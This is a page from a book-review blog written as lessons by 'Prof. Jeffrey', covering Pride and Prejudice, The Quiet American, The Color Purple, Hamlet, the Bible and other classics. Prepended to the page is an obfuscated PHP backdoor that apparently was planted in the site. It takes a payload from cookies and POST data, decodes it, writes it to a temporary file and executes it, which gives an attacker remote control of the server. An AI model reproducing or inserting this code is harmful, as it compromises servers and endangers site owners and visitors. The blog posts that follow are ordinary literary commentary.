$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} 50 Books to Read Before You Die – Page 5 – 50 Books to Read Before You Die

words to inspire before you expire

Tag: 50 Books to Read Before You Die (Page 5 of 6)

Pride and Prejudice

Welcome back, class.

I was once gushing about my newfound favorite novel, Ulysses by James Joyce (blog post pending), to a professor who could gush just as easily over Jane Austen’s novels. I explained that Ulysses broke all the rules and changed literature like nothing ever had, and my professor didn’t hesitate; she said “Jane Austen did that already, about 100 years before Ulysses was published.”

She had a point. Since then, I may have only read one Austen novel, but it really did call every rule into question. I’ve said it before, I’ll say it again: the novels that break the rules are my favorite ones.


Elizabeth and Mr Darcy (played by Kiera Knightly and Matthew Macfadyen, respectively)

Chances are good that you know the story: an unlikely love develops between Elizabeth Bennet and Fitzwilliam Darcy. Elizabeth is a lower class girl who speaks her mind, often against others’ wishes, and is more concerned with her own happiness than anyone else’s. Mr. Darcy is a very proud, very rich man, who is so bad at conversation and social obligations that he comes off as a terrible person. Mr. Darcy’s pride and Elizabeth’s prejudice against her first impression of him are the road blocks they must overcome (hint, hint).


Beyond these personal road blocks, there are the general expectations of 19th century society that stand in their way, and Austen is ruthless in criticizing them. The famous opening lines do this best: “It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife.” For most of the men in the novel, this is accurate; for Mr. Darcy, pinning down a wife is the furthest thing from his mind. Falling in love with Elizabeth is the only thing that changes his position.

Depiction of Jane Austen

Most of Austen’s criticisms come through Elizabeth’s mother—an incredibly foolish woman whose only desire is to see her daughters married. For instance, when her middle daughter runs away with a man, she is driven to constant bed rest and hysterics from the shame . . . until she finds out her daughter and this man will be married, and it becomes the happiest day of her life. Elizabeth narrowly dodges the bullet of becoming like her mother, but some of her sisters—uncontrollably silly, uneducated, and trapped by skewed perspectives—aren’t so lucky.

These flaws are not one character’s fault—Austen’s criticism is of a society that perpetuates those flaws. This is why Elizabeth is such an amazing character: she not only sees most of these flaws, but also acts against them. She denies the rules that mean nothing to her, and adheres to the ones that she chooses to adhere to. She isn’t perfect—her first impressions of Mr. Darcy can prove that—but she is herself, more than most literary characters and more than most people in the real world.


As some supportive evidence, Pride and Prejudice is based on Shakespeare’s Twelfth Night, which I wrote about last week. Elizabeth strives to be herself in a world of disguises, which happens to be a major motif of Twelfth Night. And, of course, Elizabeth’s mother is the Fool from the play—except the Fool is much wiser. Plus about a thousand other connections.

I’d also like to add that for me, it took me several chapters of Pride and Prejudice before I became impressed. If you pick it up, know that it’s the kind of novel where you need to invest yourself—the drama is only DRAMATIC if you let it be. Otherwise, it’ll feel like hundreds of pages of “Good heavens!” which, personally, I can only take so much of.


Up next, I’m picking up what I think is the exact opposite kind of novel—The Curious Incident of the Dog in the Night-Time, another that I’d never heard of before the 50-books list. All I know is that a dog is murdered and we’re going to solve the mystery. That’s a good enough place to start.

Until then,

Prof. Jeffrey

The Quiet American

Welcome back, class.

I’ve reached maximum blog power here—Graham Greene’s The Quiet American is one of the handful of books on the 50-books list that I had not only never read, but had never heard of before. This is literature obscure enough to have never even appeared before a blogger professor like myself, with all of my years of expertise.

Greene’s protagonist, Thomas Fowler, is a British reporter stationed in Vietnam who swears not to get involved in the conflict; he’s only there to report. His friend, the “quiet American” Alden Pyle, has been murdered, and Fowler begins flashing back through their friendship. Their first meeting, their awkward love triangle with a woman named Phuong, their ideological differences . . . all popping up like a panorama of Pyle’s life against the backdrop of the Vietnam conflict.

I wouldn’t say I enjoyed it. It was too political, too subtextual, too circuitous. Happens to the best of us—I appreciated all the novel did, but simply didn’t like reading it. I’ll still dole out one heck of a lecture.


I think the primary reason it made the list is also the most infamous reason—Greene’s 1950s novel predicted the outcome of American influence in Vietnam in the 60s and 70s. This is clearest in Greene’s portrayal of Alden Pyle: Pyle is young, morally motivated, and so inspired to help that he can’t see who he hurts (ladies and gentlemen, a summary of American politics). The novel heavily criticizes American intrusion in world affairs, however good the intentions may seem.

In fact, each of Greene’s main characters represent their countries. Fowler’s refusal to “take sides,” and his failure to do so, is a representation of British transition away from colonialism. Phuong’s representation of her country is laced with racism, as a silent and objectified victim; but her name, which means phoenix, implies an inner quality of resurrection against others imposing their will, much like Vietnam itself throughout the conflict.

The political predictions are not magic—they are a reaction to the World Wars. Fowler and Pyle’s father are called “isolationists,” referring to the United States’ hesitance to enter into any world conflicts. But after America’s efforts heavily influenced world events in the country’s favor, that belief began to die out. Intrusion into countries like Vietnam were ideological wars (which is why Fowler is disgusted with “mental concepts”). Greene was playing out what would keep happening if America made decisions on behalf of the rest of the world . . . and he was very right.

Politics, however, are not the way to my heart. My love is reserved for character arcs and themes.


We spend the entire story inside Fowler’s head. We get his long-standing death wish, his inability to believe in God (or anything that isn’t physical fact), his wayward morals on sex and marriage, and his confusing relationships with Pyle and Phuong. Only a few things tip off his bias, but the major one is his racism—every time he refers to the Vietnamese with the word “they,” superiority fills the air. His subtle comparison between Phuong and Pyle’s dog says more than enough.

But there is something to be said about Fowler’s bottled-up racism—he rarely, if ever, acts on it—in contrast with Pyle’s active infringement on Phuong’s life and the lives of the Vietnamese people. It’s disguised as kindness, but Pyle does more harm than good. Fowler, who holds back the harm he can cause, can’t stand Pyle’s destructiveness. Pyle’s death is caused by his own tendency for chaos and Fowler breaking his rule by taking a side.

That’s the real character arc, and the real reason to read the story: Fowler’s attempts, and his failure, to stay disengaged. He doesn’t like causing pain, and maybe by staying out of all conflicts no pain will be caused. But Pyle is the perfect catalyst for getting Fowler involved, precisely because of how much pain Pyle causes. Fowler makes a devastating choice, leading to Pyle’s death, and Fowler falls back into the story he’s worked so hard not to be a part of.


Like I said, I didn’t like reading it. But I can appreciate it. Now that, students—sincerely and unironically—is the KEY to passing English. Write that down in your notes.

Next up, I’m reading Jane Austen’s Pride and Prejudice. I’m a tad excited; this is one of those books that I wouldn’t ever read for fun, but I know I’ll enjoy it. It comes highly recommended by very cool people.

Until then,

Prof. Jeffrey

The Color Purple

Good morning, class.

I had the pleasure of reading Alice Walker’s The Color Purple for the first time, knowing only that it is very controversial. But I had no idea it was so beautiful.

It tells the story of two Southern African-American sisters separated for years, keeping in touch through a series of letters to each other and to God. Celie, who is stuck in cycles of abuse and violence, finds love with another woman and transforms her life. Nettie has been sent as a missionary to Africa, where she discovers culture and history that change her worldview forever. Celie and Nettie remain in love with each other across time and distance.

The 1982 novel was adapted into film by Steven Spielberg in 1985, and it debuted as a musical in 2004.


Lovely Hoffman as Celie in the musical adaptation of The Color Purple

The novel may be more popular because of its controversy. It doesn’t censor itself—it is explicit with elements of abuse and sex. It brazenly portrays adultery and homosexuality. Its language and content are perfect catalysts for court cases and a quick book banning.

To be clear, this particular quality is in the novel’s favor. It holds back nothing. In my professional opinion, censorship that reacts directly to elements like adultery and homosexuality is indicative of a culture that knows what’s “best” for it’s mindless population. It is also a direct form of discrimination.

But the politics aren’t as important to me as the art. I’ve been around the literary block enough times to see that when a novel tosses the moral rule-book out the window, it lets the story tell something more beautiful. The choice to disregard right and wrong help us question right and wrong, and give us the ability to decide for ourselves what right and wrong mean…rather than adhering to the ideas of someone else. The R-rated movies, the TV-MA programs, and the books constantly challenged by censorship laws are the ones that help us evolve.


That’s what The Color Purple has to offer—a more beautiful story, a question about traditional rules and morals, and a chance to evolve. Celie’s discovery of her own sexuality matches Nettie’s discovery of African history and heritage. Though their physical journeys are different, their spiritual journeys are parallel.

Author Alice Walker

If I have to pick a favorite moment in their respective journeys, its their growth in their ideas about God. They both begin to see God in a way that flaunts tradition, dismissing the image of the larger, bearded white man, dressed in white, standing at the gates of heaven. Maybe God is less white, and less man. Maybe God is everything: the trees, the flowers, the earth, the universe. God isn’t restricted by the confines of Biblical imagery.

The novel also works in a way that un-writes history. These characters live in the past, and they exist on the fringes of society. No one is paying them attention. As they make discoveries, those discoveries are forgotten by the larger public because these characters’ opinions don’t matter to anyone else.

That’s part of the brilliance of the novel—Alice Walker shows us that characters like these existed then and exist now, and will continue to exist. Their story matters. They are human beings, minority or not. And in a world that seems to constantly forget facts like that, it’s important to say it again here.


Next, I’ll be reading Graham Greene’s The Quiet American. I’m excited because I know it predicted many elements of the Vietnam conflict in American history…any novel that sees where the world is headed, even when the rest of the world can’t, earns thumbs up from me.

Until next time,

Prof. Jeffrey

The Canterbury Tales

Good morning, class.

In college, back when I was a student (just like you!), I took a class called Chaucer and Medieval Literature—over half of our class time was dedicated to The Canterbury Tales. Chaucer only completed 22 of the “tales,” which is about one-fifth of the full-length compilation he planned to write. That class was hard enough as it was, so I can’t imagine it multiplied by five.

But I liked studying The Canterbury Tales (sometimes more than reading it). It’s intricate, boundary-breaking, and foundational for just about every major piece of literature after it. It’s actually comparable to the Bible—for all it’s culturally-insensitive flaws, it is one of the building blocks of modern literature.

Just make sure someone’s there to help you understand it, like a professor. A real professor. Not a blogger. And please, just avoid the Middle English if you know what’s good for you.


The Canterbury Tales is about a lot of stuff, but it’s mostly about telling stories. A group of pilgrims are journeying to Canterbury, and they tell each other stories to pass the time—whoever tells the best story wins the competition. It’s a little mundane, but the stories they tell are diverse and multifaceted. Many of the tales are crude, especially those that use rape as a comic plot device. It’s always hard to look past. But a handful of these stories are, simply put, good. My favorites are the Wife of Bath’s Tale, the Pardoner’s Tale, and the Nun’s Priest’s Tale.

The Wife of Bath’s Tale is one of the most feminist things medieval literature has to offer—it even holds up well today. After a knight’s rape of a girl, his punishment is to go out and find what women want most. A woman he meets claims to know the answer, but he must give her something in return—he must marry her. He agrees, but instantly regrets it because of her age and poverty. But she proves to him what she claims women want: sovereignty—power over men, which men consistently have over women. She gives him a choice between two options, neither of which he wants, so he tells her to decide, which she wanted all along.

The Pardoner’s Tale is probably my favorite—when I read it in high school, I recognized it instantly as the inspiration for “The Tale of the Three Brothers” in the Harry Potter franchise. Three men set out to conquer Death, and they come across a treasure that they won’t share. They each end up killing each other out of greed, and Death takes each of them without hesitation.

The Nun’s Priest’s Tale is probably the most genuinely enjoyable of the tales—it’s about a talking rooster who has a dream about his eminent death by a fox. He is convinced that it’s a sign, but his hen convinces him otherwise. He goes about his business, and when a fox actually does catch him, the rooster outsmarts the fox and escapes, making for a happy ending.


The Canterbury Pilgrims, Blake, William (1757 – 1827, English)

There are a lot of good high school English reasons to read The Canterbury Tales. Historical context, frame story, character study, themes and symbols…I can already see the unit plan. It’s just a good piece of literature to study.

But I like to think there’s a good reason to read it, in the same way one would read any other book on the 50-books list. As luck would have it, my previous book provides the answer—Life of Pi by Yann Martel. The climax of Life of Pi involves the choice between two stories, and which one is “better.” That’s the crux of the competition in The Canterbury Tales—choosing the best story.

This isn’t the kind of story you read on a Saturday curled up in a comfy chair…it’s the kind of story that you study and slave over. But it proves that big, important literature is on the same level as your comfy-chair-book. The Canterbury Tales is a big, epic-scale piece of literature about the importance of stories. Stories guide us and nurture us, and they reach out to us across time and space to give us meaning. There are many novels that can help you see that, but Geoffrey Chaucer made it happen first.


Up next, I’m trying The Color Purple by Alice Walker. I’ve never read it before, so I’m walking into it blind. It’s been a while since I’ve done that with a book, so I’m definitely excited!

Until next time,

Prof. Jeffrey

Life of Pi

Happy New Year, class!

Yann Martel’s Life of Pi is one of the strangest books I’ve ever read. It tells the story of a teenage Indian boy named Pi, who is trapped on a lifeboat in the Pacific with a small group of animals, including an adult Bengal tiger. This is his story of survival—he is forced to train the tiger, using his father’s zookeeper knowledge, while also surviving isolation, hunger, infection, and the terrors of the open ocean. If this was all it was, it would still be a unique and remarkable story…but of course, there’s more to it.


Yann Martel, author of Life of Pi

The author’s note claims that this is “a story that will make you believe in God.” It’s a tall order, and I think Martel accomplishes this—his philosophy is that belief comes down to the story people choose, which is as important as the facts themselves.

He makes this happen through Pi, an amazingly original character. This is a boy who fell in love with religion at first sight; he compares his own obsession with God and faith to his older brother’s obsession with sports and music. He was raised Hindu from his mother, while his father shunned religion politely; he eventually found Christianity and Islam as well, and actively practiced an interfaith religion for all of his life.

Clip from the movie adaptation of Life of Pi

What Pi loves most about religion are the stories. The overflowing number of gods and deities in Hinduism, the overarching prologue and tale of Jesus as Christ, the beautiful imagery and faith of Islam…these keep him going throughout his struggles. More importantly, his faith is the heart of the story. Pi is so overflowing with love, with worship and belief, that it pours off of the pages. His journey with belief has more of an impact on his life than his ordeal on the Pacific.


That being said, Pi’s ordeal is terrifying, graphic, and even hilarious at times. The tiger—named Richard Parker, in a strange origin story—is as much a character as Pi, and their journey toward communicating with each other is a roller coaster. Richard Parker can never be trusted, and though there are moments that indicate he is more than an animal, Pi is constantly reminded of Richard Parker’s natural instincts. Any moment of weakness from Pi could mean death…for both of them.

Hidden in this captivating plot is that common English class theme, “man vs. nature.” Richard Parker is a force of nature, and Pi has to learn that over and over again—that Richard Parker is not his friend and cannot understand love. Martel’s point with this distinction is the same point he makes about religion and belief toward the stories we choose. Human beings have the capacity to understand religion, to love, to wish for order out of chaos. Animals have only their instincts—no faith, no order, no love.

Clip from the movie adaptation of Life of Pi

It’s not a popular distinction—no one wants to think their dog or cat doesn’t love them. Pets understand dependency, fear, want, and certainly happiness, but not something as complex as love. That’s why we take them and care for them as pets, and why we place them in the safety of zoos and do what we think is best for them. The responsibility of caring for animals is, morally speaking (and religiously speaking, in a way), a human obligation. To understand this is to sense the overwhelming spectrum of emotions this novel provides.


I love this book. It means so much to me. It is original, inspiring, and powerful. I can’t capture it all in a blog post, so I recommend reading it. Yann Martel is an amazing author, and he has created an amazing work of fiction.

Up next, I’m currently reading and finishing The Canterbury Tales by Geoffrey Chaucer. I’m not really enjoying it yet…it has it’s moments, sure, but can be a bit much. We’ll see what happens. Thanks for coming to class, and again, happy New Year!

Prof. Jeffrey

A Christmas Carol

Merry Christmas, class!

Celebrate with me—I’ve made it through four months, 10 books, and 50 posts! The finish line may not be exactly close, but I must profess (haha) that I’m having fun. I hope you are as well, students.


A Christmas Carol is one of those classics that everyone sort of knows. Charles Dickens’ novel helped define modern Christmas traditions in Western cultures, and the story and characters are instantly recognizable—especially Ebenezer Scrooge, the 19th Century Grinch who loves money and hates people.

Ebenezer Scrooge and Marley’s Ghost

The fantasy elements—Ghosts of Christmas Past, Present, and Future, as well as Marley’s Ghost—are grounded by religious themes and societal struggles. Dickens isn’t afraid to get dark—he portrays hunger, poverty, disability, grief, and greed in the Christmas season. A Christmas Carol doesn’t let the joy of Christmas diminish the needs of society, but uses Christmas to represent joy with societal needs in mind…all while redeeming the grumpy old Scrooge.

Scrooge isn’t as much of a “scrooge” as society makes him—he isn’t a stereotype. For one thing, it’s clear from the beginning why he dislikes Christmas: his friend and business partner Marley died at Christmas-time several years ago. He used to enjoy Christmas, but by the beginning of the story, Christmas is nothing but hardship for him, and he has no patience for generosity.

Generosity just happens to be his problem—he plays by the rules of money and capitalism, and giving away money goes against the rules. If everyone fended for themselves, it would be a better world for him. In fact, he could have lived out his days that way, storing up his treasures on earth, had it not been for Marley’s Ghost.

Scrooge in A Christmas Carol (2009)

The intrusive spirit does Scrooge a favor and shows him the true meanings of Christmas—love, family, friendship, giving, joy. Scrooge is shown what Christmas used to be, what Christmas could be if he doesn’t change, and what Christmas is to the people he claims to hate. Scrooge learns the lesson and is reborn, and (spoiler alert) finds a happy ending.


A Christmas Carol is a transparently humble story—it doesn’t claim to be anything more than what it is. It’s as short as it is humble, and it’s separated into staves (musical sections) rather than chapters, making it more “carol” than “novel.” Dickens’ writing style is particularly unique—long sentences that build up to important points, bleak form and bleak content, etc.—but it rarely sounds dull or dated. Reading the novel feels simultaneously familiar and fresh; it bursts at the seams with originality, but always resembles the ghost of a song we already know.

If you have time this holiday season, I recommend reading it. It’s a quick read and a timeless classic. In our time, when Christmas seems too rushed or commercialized, having fallen prey to money and capitalism, A Christmas Carol is a good way to remind us what this sacred time is really for.

I’ve already started my next read, Life of Pi by Yann Martel, which is one of my favorites. Unlike A Christmas Carol, which lightly reminds readers of religious themes and topics, Life of Pi hits religious topics with full force. Post #51, here we come!

Until then, enjoy your holidays,

Prof. Jeffrey

Missing From the List: The Odyssey

Welcome back, students.

I’m starting something new today: I’ve studied the “50 Books to Read Before you Die” list often over the past few months, and it is my duty as a teacher to tell you that our textbook is flawed. I’m sure the people who made the list are wagging their fingers at me, but I can’t see them, because this is a blog. So I win this round.

There are quite a few selections missing from this list, and from now on, I will be dedicating class time now and again toward rectifying this wrong. I’ve read plenty of books that aren’t on the list, and they deserve the Prof. Jeffrey treatment. too. So let’s jump ship.


Sculpture of Odysseus

Sculpture of Odysseus

Speaking of ships, The Odyssey by Homer tells the story of the worst ocean vacation recorded in literary history. Everyone knows the story, probably from freshman English: Odysseus takes the long way home after defeating the Trojans, and he is stopped by virtually every single monster in Greek mythology.

I partly bring it up now because it has heavily influenced the “50 Books” list. I’m reading my ninth book for this blog, and so far, three of those books were retelling Odysseus’ story: Alice’s Adventures in WonderlandThe Catcher in the Rye, and currently, The Grapes of Wrath, each of which is a series of episodes about a hero on the quest for home, both figuratively and metaphorically. The Odyssey may not have invented the quest narrative, but its ideas on the hero’s quest have equally influenced novels like The Lord of the Rings and the Harry Potter Series. There are more retellings to come on the list—most obviously with James Joyce’s Ulysses, but also indirectly with Yann Martel’s Life of Pi and F. Scott Fitzgerald’s The Great Gatsby, among others.

Perhaps it didn’t make the list because it has more power as an influence than as a story on its own, but even that is a stretch. Not only is the poetry of the story remarkable, but Odysseus’ journey itself is stunning—he encounters sirens, a deadly Cyclops, sea monsters, Circe the witch, a band of suitors trying to take his wife and home, and near countless gods with their own agendas. Add on the fact that he antagonizes Poseidon, god of the sea, and then tries to sail home. Honestly, he was asking for it.

Painting of Odysseus, his son Telemachus, and his dog Argos

Painting of Odysseus, his son Telemachus, and his dog Argos

But his he-was-asking-for-it-ness, or what the experts call hubris or excessive pride, makes Odysseus vain, heroic, and oddly human all at once. Every character that seems inspired by him—in the above examples, that’s Alice, Holden Caulfield, Tom Joad, etc.—has that human oddness etched into their DNA. They each are reflections of “that man skilled in all ways of contending.” They each have that uncompromising, confident human spirit in the face of all obstacles.

Like I said, our textbook is flawed. The Odyssey is absolutely one of the books you should read before you die.


More books will have their day in my missing-from-the-list lectures; I’d like to get enough to make my own alternate list, but let’s take this one step at a time…

Your homework: take a moment to look at the list yourself. Are there any books you think are missing? What book(s) should people read before they die? Comment below, and if I’ve read it, it may become a class topic, with maybe a quick shout out to the person who posts it (fame is achievable, my friends).

If the month of November doesn’t kill me, then you can look forward to my post on The Grapes of Wrath.

See you next week!

Prof. Jeffrey

The Catcher in the Rye

Catcher in the Rye (1951) Book Cover

The Catcher in the Rye (1951): Book Cover

Hello again, class.

Back when I wrote about Alice’s Adventures in Wonderland, I talked about children being mistreated and not fitting in with Victorian England’s rules. Wonderland is a metaphor for the strangeness of adulthood; Salinger’s The Catcher in the Rye is less figurative and more realistic, but it makes a similar claim for adulthood. The real tragedy of The Catcher in the Rye is not that children are mistreated; it’s that they are ignored.

Let’s look more closely…


The hero of the hour is Holden Caulfield (officially one of my least favorite names), a sixteen year-old kicked out of yet another prep-school for failing every class but English. Over the course of three days, Holden bails from his dorm and takes a strange journey around New York, involving everything from nuns and cab drivers to prostitutes and pimps, eventually finding his way home.

Unlike in Alice, whose helpful narrator helps explain Alice’s predicament, Holden is always speaking directly to us. As a sixteen year-old, he is explicit with language and content, but there are also things Holden deliberately leaves out. He is trapped in his own head, and he isn’t aware of what’s happening to his psyche. That means this book is meant to be deciphered (puzzles!!).

First Lines and an Illustration

The Catcher in the Rye: First Lines and an Illustration

Speaking of what was meant to happen, Salinger’s intentions were especially interesting. This book was written for adults, as a way of revealing the emotions and thoughts of children that society ignores. This makes Holden’s age a careful choice—he is beyond childhood innocence, but he shuns maturity and adulthood, so he is caught in the middle. As a result, Catcher has become an inspiration for teenagers in rebellion; Holden’s violent thoughts, potent imagination, and social aversion became rallying cries for teenagers that feel ignored, want to be left alone, and hate the established order of the world (as stereotypical these attributes sound, part of Salinger’s point is that rebellious teenagers are not a stereotype).

Salinger’s intentions were also tragically misunderstood in the resulting attacks on President Ronald Reagan and John Lennon. I haven’t been able to research the full extent of these stories, but both attacks are said to be inspired by The Catcher in the Rye. For an extra frightening factor, the movie Chapter 27 is a fictionalized account of the assassination of John Lennon, named for the 26 chapters in Salinger’s novel.


But in the end, these external facts have clouded the importance of the novel itself. I was reading it for the first time and expected some kind of violent, tragic end, especially with all of the references to his own insanity and the recurrence of his red hunting hat as a symbol. Fortunately, the story is not so predictable. If you read it yourself, I recommend leaving an open mind about what kind of person Holden is—don’t just sympathize with his isolation, but empathize with his quest.

And yes, there is a quest—even if its not on the surface. Holden’s quest is about happiness. No matter what physically happens to him, he is searching for something to take comfort in…something to give him hope and peace. Underneath Holden’s chaotic odyssey is a relatable emotional journey.


I’d like to hear from you: what were your own thoughts on Catcher in the Rye? It’s gone from banned reading to studied carefully in high school classes, so I look forward to the spectrum of thoughts here.

Next up, I’m reading The Grapes of Wrath, another kind of odyssey. I hated it in high school, but I look forward to giving it another chance. Some things can’t be enjoyed in high school.

Until next week,

Prof. Jeffrey

The Bible

bible-textGood morning class.

Today’s lesson is pretty serious—the Bible is arguably the most important text in human history, so I’ll begin with a kind of disclaimer:

Just like with Hamlet last week, I can’t possibly talk about everything that the Bible entails. Even worse, I can’t actually state a fact on the Bible without saying something potentially offensive. Everyone has their own experience with religion, some more positive than others, and even having the Bible on the “50 Books to Read Before You Die” list is debatable. There are people who hate it, people who are inspired by it, people who avoid it entirely, and people who use, misuse, and abuse it everyday.

With that in mind, I have two goals. 1) I’m going to talk about how the Bible has impacted me and my life (without bearing too much of my soul), and 2) I’m going to explain why I think you should read the Bible before you die. My hope is that I portray the Bible with not-too-much bias, and that you, students, are able to read this post with an open mind.


When I set out to read the Bible in its entirety, it was to improve my knowledge of the religious beliefs I had been practicing my entire life. I was in my senior year of high school when I started, and I read small sections of the Bible everyday throughout college. It was often difficult to continue, but I accomplished the task and am very glad that I did.

…But the Bible can be profoundly boring and profoundly outdated. Not only are the lists of names, endless instructions, and intricate details for tabernacles tedious…these are often followed by passages that forbid women to speak in church, condemn homosexuality, and encourage slavery, murder, and war. These passages make a significant portion of the Bible difficult to read.

An illustration of Naomi and Ruth, from the book of Ruth (Old Testament)

An illustration of Naomi and Ruth, from the Book of Ruth (Old Testament)

For me, these passages are admissible because of historical and cultural context. It’s certainly worth mentioning that the Bible is the oldest text on the 50-books list—it’s a collection of documents passed down orally, eventually written down, and translated multiple times over the course of thousands of years. Add to this that the authors were men in hugely male-dominated societies, and you should arrive at one obvious conclusion: the Bible is flawed.

The Bible is also incredibly beautiful. It doesn’t take a belief in God to see that many of the Psalms are moving works of poetry, or that Jesus’ parables are deep and layered metaphors. I really enjoyed reading and rereading these moments, where religion joined song and meaning. I am an English major, after all.

But the moments I enjoyed most were specifically for religious reasons—mostly, the passages that refer to love. My ideas of love come from the Bible, because most of the books I’ve read involve the kind of love that comes from the Bible (such as the Harry Potter series, which is more about love than anything else). Love that is powerful, sweeping, gentle, emotional, forgiving, and never-ending…it’s found in some of my favorite Bible passages.

As I studied each passage, I flinched at the offensive moments, almost nodded off at the boring moments, and happily praised the beautiful moments. As a practicing, active Christian, it means a lot to me that I don’t actively practice every instruction or belief in the Bible. It also means a lot to me that Biblical interpretations mean just as much to me as the text itself—it is a translation, after all, and I don’t mean to learn Hebrew any time soon.

The Nativity Scene

The Nativity Scene

I view the Bible as a complicated guide for living life. It is helpful, even with its prejudices, when it is read for spiritual growth or information. When it’s used as a tool for power or manipulation, it can easily become abusive, and this happens daily. My beliefs aren’t too complicated here—when I think of evil, I don’t think of a horned devil or a fiery hell; I think of the capacity for evil within human beings. I think evil is hatred and segregation. People who use the Bible to oppress or suppress others are falling prey to their own evil capacity. Parts of the Bible fall into this category—I use these passages for information (i.e., to understand the culture of the time), but these passages have very little, or nothing at all, to do with my religious practice.


On the other hand, the Bible is also worth looking at simply because it’s referenced in every book on the 50-books list. Even the ones I haven’t read yet—I’m willing to bet they each use it as inspiration. In the history of English literature, nothing has made a bigger impact than the Bible. Looking more closely at the Bible has its own benefits, but it’s also the key to understanding some of the greatest literary masterpieces from the past thousand years.

A close up of Michelangelo's painting on the Sistine Chapel

A close up of Michelangelo’s painting on the Sistine Chapel

But for me, it’s about the journey of love. Connection, family, honesty, communion, trust, forgiveness, communication, acceptance, sacrifice, faith, pain…it’s all love in different ways. That’s the “point” of the Bible.


I’ve already started reading my next novel: The Catcher in the Rye. It actually has a lot in common with Hamlet, with the focus on a vengeful, misguided youth, so it seemed like a logical leap—granted, it’s a leap forward hundreds of years and across the Atlantic…

More on that next week!

Prof. Jeffrey

Hamlet

A Portrait of William Shakespeare

A Portrait of William Shakespeare

Something is rotten in the state of Denmark, class.

Hamlet is one of my favorites. It’s been pulled apart by experts for hundreds of years, and it can still be interpreted in new ways. But no matter what, it still remains a classic, untarnished by these interpretations. It stands the test of time, thanks to Shakespeare’s awesomeness.

On the surface, Hamlet is about a grieving prince trying to avenge his father’s murder at the hands of his uncle. This leads into a sweeping commentary on suicide, revenge, masculinity, insanity, parenthood, inaction, the afterlife, humanity, and ghosts, all at once. The discussions that spring from this story are limitless.

As much as I’d like to add to those discussions, I think it’s safer for me to stick to the story itself; I might otherwise begin writing a dissertation. That’s partly what makes Hamlet such a good work of literature—when one strips away the wide and varying interpretations, what’s left is a strong story. Shakespeare’s famous for a reason.


Shakespeare wrote Hamlet after his son died at a young age. Hamlet’s journey, having lost his father, is from grief to peace, reflecting Shakespeare’s own grieving process. Hamlet spends most of the play deep in madness, revenge plots, conspiracy, and suicidal thoughts—but in the end, even as he faces death, he seems to have found an inner peace.

This journey is catharsis—the release of overflowing emotions—and it’s one of the oldest reasons why literature is important (we can thank Aristotle for that). Hamlet, like many great works of literature, art, and music, is therapeutic. It portrays grief and the path to peace, and reading it or viewing it, just like Shakespeare’s act of writing it, is a catalyst for the grieving process.

hamlet-kenneth-branagh-poster

Poster for Kenneth Branagh’s “Hamlet” (1996)

This is an important point for Shakespeare, because Hamlet is his longest play. The only movie version I know that’s portrayed the entire text is Kenneth Branagh’s Hamlet (1996), which clocks in at FOUR HOURS of screen time. Hamlet alone has more to say than any other Shakespearean character, with enough monologues to fill up the standard length of a play by himself. His journey through grief is long and painful.

The length of the play also reveals a foundational element for the character: the middle three acts of the play have Hamlet struggling to act on the wishes of his father’s ghost. He doubts himself, seeks evidence, kills the wrong man, pretends to be insane to throw people off, and monologues like there’s no tomorrow. I think this is about his grief as well; he loves his father more than he hates his uncle, and he resists the call to murdering his father’s killer because of the pain of his father’s death. The ghost wants his son’s anger, but Hamlet is more complicated than pure revenge will allow.

One passage that struck me reading it this time is in Act 1, Scene 2 (Hamlet’s introduction scene). Hamlet’s uncle calls his excessive grief “unmanly,” because he is still in mourning after the rest of the kingdom, even the king’s wife, has moved on. Hamlet has an air of femininity throughout the play, conventionally speaking, and this provides some context in regards to the questions about Shakespeare’s sexuality.

Hamlet is the hero, not in spite of his femininity but because of it. His “feminine” qualities make him who he is—a different kind of man, perfect for the scenarios provided in the play, and therefore our tragic hero. His “unmanly grief” isn’t weakness…it’s love.


David Tennant as Hamlet (2009)

David Tennant as Hamlet (2009)

